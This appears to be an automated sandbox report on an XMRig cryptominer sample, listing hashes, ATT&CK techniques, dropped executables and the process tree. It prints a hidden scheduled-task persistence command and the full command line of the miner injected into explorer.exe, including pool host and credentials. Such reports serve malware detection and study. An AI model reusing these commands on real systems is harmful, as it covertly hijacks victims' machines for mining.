xmrig | f5a8f1abc7bd17df3d9ab0e2b1d43c8ab286b3277eef339918a406652f45470b

General

Target

BUFF 12H.exe
Size

2.0MB
MD5

44e757e4e2e6aba07865e5c42028f8c2
SHA1

6399afb3b981c9ce457b81326dd3f79ddef081f0
SHA256

5533c744f6f07c674ddf759b37acb92e6cecea77bdc9f9658166520f6c47de6f
SHA512

e3da98f211f87bf6369eeb5245aea5a69bfa16e868c787f86e70776b96787059bb1fb0f22082f8653a2a257e50bd4f7d4a75fb17ea010e8a89862fd999485fbd
SSDEEP

49152:h4XjTHzNmGid9ZiYioAykudfgzTlQNoYP1LZI2m0PZk+aJL0jRBtD8j:hGTNKJi5eTNoYPxdm+k+aJL4RB18j

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/3432-156-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/3432-157-0x00000001402E255C-mapping.dmp	xmrig
behavioral2/memory/3432-158-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/3432-159-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/3432-162-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/3432-167-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig

Executes dropped EXE 3 IoCs

Processes:

sihost64.exeServices.exesihost64.exe

pid process

4392 sihost64.exe
4792 Services.exe
4040 sihost64.exe

pid	process
4392	sihost64.exe
4792	Services.exe
4040	sihost64.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

BUFF 12H.exeServices.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	BUFF 12H.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	Services.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Suspicious use of SetThreadContext 1 IoCs

Processes:

Services.exe

description pid process target process

PID 4792 set thread context of 3432 4792 Services.exe explorer.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4476 schtasks.exe
1836 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

BUFF 12H.exeServices.exe

pid process

1048 BUFF 12H.exe
1048 BUFF 12H.exe
4792 Services.exe
4792 Services.exe

description	pid	process	target process
PID 4792 set thread context of 3432	4792	Services.exe	explorer.exe

pid	process
4476	schtasks.exe
1836	schtasks.exe

pid	process
1048	BUFF 12H.exe
1048	BUFF 12H.exe
4792	Services.exe
4792	Services.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

BUFF 12H.exeServices.exeexplorer.exe

description	pid	process
Token: SeDebugPrivilege	1048	BUFF 12H.exe
Token: SeDebugPrivilege	4792	Services.exe
Token: SeLockMemoryPrivilege	3432	explorer.exe
Token: SeLockMemoryPrivilege	3432	explorer.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

BUFF 12H.execmd.exeServices.execmd.exe

description	pid	process	target process
PID 1048 wrote to memory of 2496	1048	BUFF 12H.exe	cmd.exe
PID 1048 wrote to memory of 2496	1048	BUFF 12H.exe	cmd.exe
PID 2496 wrote to memory of 4476	2496	cmd.exe	schtasks.exe
PID 2496 wrote to memory of 4476	2496	cmd.exe	schtasks.exe
PID 1048 wrote to memory of 4392	1048	BUFF 12H.exe	sihost64.exe
PID 1048 wrote to memory of 4392	1048	BUFF 12H.exe	sihost64.exe
PID 1048 wrote to memory of 4792	1048	BUFF 12H.exe	Services.exe
PID 1048 wrote to memory of 4792	1048	BUFF 12H.exe	Services.exe
PID 4792 wrote to memory of 528	4792	Services.exe	cmd.exe
PID 4792 wrote to memory of 528	4792	Services.exe	cmd.exe
PID 528 wrote to memory of 1836	528	cmd.exe	schtasks.exe
PID 528 wrote to memory of 1836	528	cmd.exe	schtasks.exe
PID 4792 wrote to memory of 4040	4792	Services.exe	sihost64.exe
PID 4792 wrote to memory of 4040	4792	Services.exe	sihost64.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe
PID 4792 wrote to memory of 3432	4792	Services.exe	explorer.exe

C:\Users\Admin\AppData\Local\Temp\BUFF 12H.exe
"C:\Users\Admin\AppData\Local\Temp\BUFF 12H.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1048

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:2496

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
3⤵
- Creates scheduled task(s)
PID:4476

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
2⤵
- Executes dropped EXE
PID:4392

C:\Users\Admin\AppData\Local\Temp\Services.exe
"C:\Users\Admin\AppData\Local\Temp\Services.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4792

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:528

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
4⤵
- Creates scheduled task(s)
PID:1836

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
3⤵
- Executes dropped EXE
PID:4040

C:\Windows\explorer.exe
C:\Windows\explorer.exe -B --coin=monero --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=7012628 --pass=Maximal2007 --cpu-max-threads-hint=30 --donate-level=5 --unam-idle-wait=1 --unam-idle-cpu=80 --unam-stealth
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3432

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Services.exe
Filesize
2.0MB

MD5
44e757e4e2e6aba07865e5c42028f8c2

SHA1
6399afb3b981c9ce457b81326dd3f79ddef081f0

SHA256
5533c744f6f07c674ddf759b37acb92e6cecea77bdc9f9658166520f6c47de6f

SHA512
e3da98f211f87bf6369eeb5245aea5a69bfa16e868c787f86e70776b96787059bb1fb0f22082f8653a2a257e50bd4f7d4a75fb17ea010e8a89862fd999485fbd

Download Submit
C:\Users\Admin\AppData\Local\Temp\Services.exe
Filesize
2.0MB

MD5
44e757e4e2e6aba07865e5c42028f8c2

SHA1
6399afb3b981c9ce457b81326dd3f79ddef081f0

SHA256
5533c744f6f07c674ddf759b37acb92e6cecea77bdc9f9658166520f6c47de6f

SHA512
e3da98f211f87bf6369eeb5245aea5a69bfa16e868c787f86e70776b96787059bb1fb0f22082f8653a2a257e50bd4f7d4a75fb17ea010e8a89862fd999485fbd

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys
Filesize
14KB

MD5
0c0195c48b6b8582fa6f6373032118da

SHA1
d25340ae8e92a6d29f599fef426a2bc1b5217299

SHA256
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

SHA512
ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
Filesize
7KB

MD5
a214ff6a12ef03efe3d07c64343e31aa

SHA1
f740330ae29f91e4445234713aa2511ac7805e64

SHA256
0b91b9cf8d19525ad132d7ed65121cde198e31f3663fb473dcb41126cd3a186b

SHA512
781b6cefaee69b220e0274c4b55c81f62d206e23d0311bf77e01227b9ef049ab3be43311755e02699324d904b61c6ad292de2e1a30f1babd582a743d980010bd

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
Filesize
7KB

MD5
a214ff6a12ef03efe3d07c64343e31aa

SHA1
f740330ae29f91e4445234713aa2511ac7805e64

SHA256
0b91b9cf8d19525ad132d7ed65121cde198e31f3663fb473dcb41126cd3a186b

SHA512
781b6cefaee69b220e0274c4b55c81f62d206e23d0311bf77e01227b9ef049ab3be43311755e02699324d904b61c6ad292de2e1a30f1babd582a743d980010bd

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
Filesize
7KB

MD5
a214ff6a12ef03efe3d07c64343e31aa

SHA1
f740330ae29f91e4445234713aa2511ac7805e64

SHA256
0b91b9cf8d19525ad132d7ed65121cde198e31f3663fb473dcb41126cd3a186b

SHA512
781b6cefaee69b220e0274c4b55c81f62d206e23d0311bf77e01227b9ef049ab3be43311755e02699324d904b61c6ad292de2e1a30f1babd582a743d980010bd

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
Filesize
7KB

MD5
a214ff6a12ef03efe3d07c64343e31aa

SHA1
f740330ae29f91e4445234713aa2511ac7805e64

SHA256
0b91b9cf8d19525ad132d7ed65121cde198e31f3663fb473dcb41126cd3a186b

SHA512
781b6cefaee69b220e0274c4b55c81f62d206e23d0311bf77e01227b9ef049ab3be43311755e02699324d904b61c6ad292de2e1a30f1babd582a743d980010bd

Download Submit
memory/528-146-0x0000000000000000-mapping.dmp

Download
memory/1048-135-0x00007FFA06970000-0x00007FFA07431000-memory.dmp

Filesize
10.8MB

Download
memory/1048-132-0x0000000000960000-0x0000000000B68000-memory.dmp

Filesize
2.0MB

Download
memory/1048-143-0x00007FFA06970000-0x00007FFA07431000-memory.dmp

Filesize
10.8MB

Download
memory/1836-147-0x0000000000000000-mapping.dmp

Download
memory/2496-133-0x0000000000000000-mapping.dmp

Download
memory/3432-156-0x0000000140000000-0x000000014074D000-memory.dmp

Filesize
7.3MB

Download
memory/3432-158-0x0000000140000000-0x000000014074D000-memory.dmp

Filesize
7.3MB

Download
memory/3432-163-0x0000000000000000-0x0000000001200000-memory.dmp

Filesize
18.0MB

Download
memory/3432-162-0x0000000140000000-0x000000014074D000-memory.dmp

Filesize
7.3MB

Download
memory/3432-161-0x0000000002780000-0x0000000002794000-memory.dmp

Filesize
80KB

Download
memory/3432-168-0x0000000000000000-0x0000000001200000-memory.dmp

Filesize
18.0MB

Download
memory/3432-159-0x0000000140000000-0x000000014074D000-memory.dmp

Filesize
7.3MB

Download
memory/3432-165-0x00000000027B0000-0x00000000027B4000-memory.dmp

Filesize
16KB

Download
memory/3432-167-0x0000000140000000-0x000000014074D000-memory.dmp

Filesize
7.3MB

Download
memory/3432-157-0x00000001402E255C-mapping.dmp

Download
memory/3432-164-0x00000000027A0000-0x00000000027A4000-memory.dmp

Filesize
16KB

Download
memory/4040-155-0x00007FFA06970000-0x00007FFA07431000-memory.dmp

Filesize
10.8MB

Download
memory/4040-151-0x0000000000000000-mapping.dmp

Download
memory/4040-166-0x00007FFA06970000-0x00007FFA07431000-memory.dmp

Filesize
10.8MB

Download
memory/4392-136-0x0000000000000000-mapping.dmp

Download
memory/4392-139-0x0000000000530000-0x0000000000536000-memory.dmp

Filesize
24KB

Download
memory/4392-149-0x00007FFA06970000-0x00007FFA07431000-memory.dmp

Filesize
10.8MB

Download
memory/4392-144-0x00007FFA06970000-0x00007FFA07431000-memory.dmp

Filesize
10.8MB

Download
memory/4476-134-0x0000000000000000-mapping.dmp

Download
memory/4792-150-0x00007FFA06970000-0x00007FFA07431000-memory.dmp

Filesize
10.8MB

Download
memory/4792-160-0x00007FFA06970000-0x00007FFA07431000-memory.dmp

Filesize
10.8MB

Download
memory/4792-148-0x000000001D000000-0x000000001D012000-memory.dmp

Filesize
72KB

Download
memory/4792-145-0x00007FFA06970000-0x00007FFA07431000-memory.dmp

Filesize
10.8MB

Download
memory/4792-141-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads